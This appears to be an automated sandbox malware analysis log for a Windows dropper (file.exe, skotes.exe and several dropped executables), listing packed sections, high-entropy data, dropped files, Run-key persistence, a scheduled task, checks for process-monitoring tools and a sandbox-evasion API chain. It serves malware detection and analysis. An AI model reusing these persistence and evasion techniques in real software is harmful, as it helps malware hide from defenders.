Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;frfapimt:EW;qtisgtef:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Unpacked PE file: 7.2.4611cc433b.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;whvqijov:EW;ikwniflt:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Unpacked PE file: 8.2.79ddad050f.exe.370000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sbjgrbkb:EW;biqspjfj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sbjgrbkb:EW;biqspjfj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Unpacked PE file: 9.2.e051bdf457.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dnuvwdxn:EW;nviifddd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dnuvwdxn:EW;nviifddd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Unpacked PE file: 10.2.79ddad050f.exe.370000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sbjgrbkb:EW;biqspjfj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sbjgrbkb:EW;biqspjfj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Unpacked PE file: 29.2.e051bdf457.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dnuvwdxn:EW;nviifddd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dnuvwdxn:EW;nviifddd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Unpacked PE file: 30.2.734386a52c.exe.ab0000.0.unpack :EW;.rsrc:W;.idata :W;pzmyaaxr:EW;wkcwmztw:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1f17a6 should be: 0x1ed21e
Source: 4611cc433b.exe.6.dr	Static PE information: real checksum: 0x1f17a6 should be: 0x1ed21e
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1c274a should be: 0x1b8d69
Source: 79ddad050f.exe.6.dr	Static PE information: real checksum: 0x1c06e1 should be: 0x1c72fd
Source: e051bdf457.exe.6.dr	Static PE information: real checksum: 0x1c274a should be: 0x1b8d69
Source: file.exe	Static PE information: real checksum: 0x32fb32 should be: 0x3328f6
Source: 734386a52c.exe.6.dr	Static PE information: real checksum: 0x2b049b should be: 0x2afad6
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x32fb32 should be: 0x3328f6
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1c06e1 should be: 0x1c72fd
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2b049b should be: 0x2afad6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: frfapimt
Source: file.exe	Static PE information: section name: qtisgtef
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: frfapimt
Source: skotes.exe.0.dr	Static PE information: section name: qtisgtef
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: whvqijov
Source: random[1].exe.6.dr	Static PE information: section name: ikwniflt
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 4611cc433b.exe.6.dr	Static PE information: section name:
Source: 4611cc433b.exe.6.dr	Static PE information: section name: .idata
Source: 4611cc433b.exe.6.dr	Static PE information: section name:
Source: 4611cc433b.exe.6.dr	Static PE information: section name: whvqijov
Source: 4611cc433b.exe.6.dr	Static PE information: section name: ikwniflt
Source: 4611cc433b.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: sbjgrbkb
Source: random[1].exe0.6.dr	Static PE information: section name: biqspjfj
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 79ddad050f.exe.6.dr	Static PE information: section name:
Source: 79ddad050f.exe.6.dr	Static PE information: section name: .idata
Source: 79ddad050f.exe.6.dr	Static PE information: section name:
Source: 79ddad050f.exe.6.dr	Static PE information: section name: sbjgrbkb
Source: 79ddad050f.exe.6.dr	Static PE information: section name: biqspjfj
Source: 79ddad050f.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: dnuvwdxn
Source: random[1].exe1.6.dr	Static PE information: section name: nviifddd
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: e051bdf457.exe.6.dr	Static PE information: section name:
Source: e051bdf457.exe.6.dr	Static PE information: section name: .idata
Source: e051bdf457.exe.6.dr	Static PE information: section name:
Source: e051bdf457.exe.6.dr	Static PE information: section name: dnuvwdxn
Source: e051bdf457.exe.6.dr	Static PE information: section name: nviifddd
Source: e051bdf457.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: pzmyaaxr
Source: random[2].exe.6.dr	Static PE information: section name: wkcwmztw
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 734386a52c.exe.6.dr	Static PE information: section name:
Source: 734386a52c.exe.6.dr	Static PE information: section name: .idata
Source: 734386a52c.exe.6.dr	Static PE information: section name: pzmyaaxr
Source: 734386a52c.exe.6.dr	Static PE information: section name: wkcwmztw
Source: 734386a52c.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD91C push ecx; ret	0_2_00AAD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA1359 push es; ret	0_2_00AA135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0020D91C push ecx; ret	2_2_0020D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0020D91C push ecx; ret	3_2_0020D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0020D91C push ecx; ret	6_2_0020D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0020DFC6 push ecx; ret	6_2_0020DFD9
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D195F7 push ecx; ret	7_3_04D1960A
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D3037D push esi; ret	7_3_04D30386
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0040A1F7 push ecx; ret	7_2_0040A20A
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00421B7D push esi; ret	7_2_00421B86
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_1000E891 push ecx; ret	7_2_1000E8A4
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push eax; mov dword ptr [esp], esi	7_2_0099A52B
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push eax; mov dword ptr [esp], edx	7_2_0099A54A
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push 2880708Ch; mov dword ptr [esp], edx	7_2_0099A601
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push edi; mov dword ptr [esp], ebx	7_2_0099A623
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push eax; mov dword ptr [esp], ebx	7_2_0099A67C
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push edx; mov dword ptr [esp], esi	7_2_0099A692
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push ecx; mov dword ptr [esp], 7BE5345Bh	7_2_0099A706
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push ebp; mov dword ptr [esp], ebx	7_2_0099A73B
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push 2AD25EA1h; mov dword ptr [esp], esi	7_2_0099A7EC
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push edi; mov dword ptr [esp], 7FFF4CD9h	7_2_0099A896
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push 31F95A20h; mov dword ptr [esp], eax	7_2_0099A91F
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push eax; mov dword ptr [esp], 4A49C712h	7_2_0099A94D
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push edx; mov dword ptr [esp], 0FFE31AAh	7_2_0099AA7B
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push ecx; mov dword ptr [esp], 4F8C644Ah	7_2_0099AADC
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push 2418A2A2h; mov dword ptr [esp], edx	7_2_0099AB22
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push 7DD601E9h; mov dword ptr [esp], esi	7_2_0099ABBB
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push ecx; mov dword ptr [esp], ebx	7_2_0099ABE9
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push esi; mov dword ptr [esp], ebp	7_2_0099AC20
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push ebx; mov dword ptr [esp], edi	7_2_0099AC7D
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491 push 0F59DBE4h; mov dword ptr [esp], ecx	7_2_0099ACA0

Source: file.exe	Static PE information: section name: entropy: 7.092808136704337
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.092808136704337
Source: random[1].exe.6.dr	Static PE information: section name: whvqijov entropy: 7.941395599436267
Source: 4611cc433b.exe.6.dr	Static PE information: section name: whvqijov entropy: 7.941395599436267
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.983244716136416
Source: random[1].exe0.6.dr	Static PE information: section name: sbjgrbkb entropy: 7.954135504267137
Source: 79ddad050f.exe.6.dr	Static PE information: section name: entropy: 7.983244716136416
Source: 79ddad050f.exe.6.dr	Static PE information: section name: sbjgrbkb entropy: 7.954135504267137
Source: random[1].exe1.6.dr	Static PE information: section name: dnuvwdxn entropy: 7.953787328423517
Source: e051bdf457.exe.6.dr	Static PE information: section name: dnuvwdxn entropy: 7.953787328423517
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.7986677866136604
Source: 734386a52c.exe.6.dr	Static PE information: section name: entropy: 7.7986677866136604

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba17bbfb21.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 734386a52c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 79ddad050f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e051bdf457.exe	Jump to behavior

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 79ddad050f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 79ddad050f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e051bdf457.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e051bdf457.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba17bbfb21.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ba17bbfb21.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 734386a52c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 734386a52c.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-11624
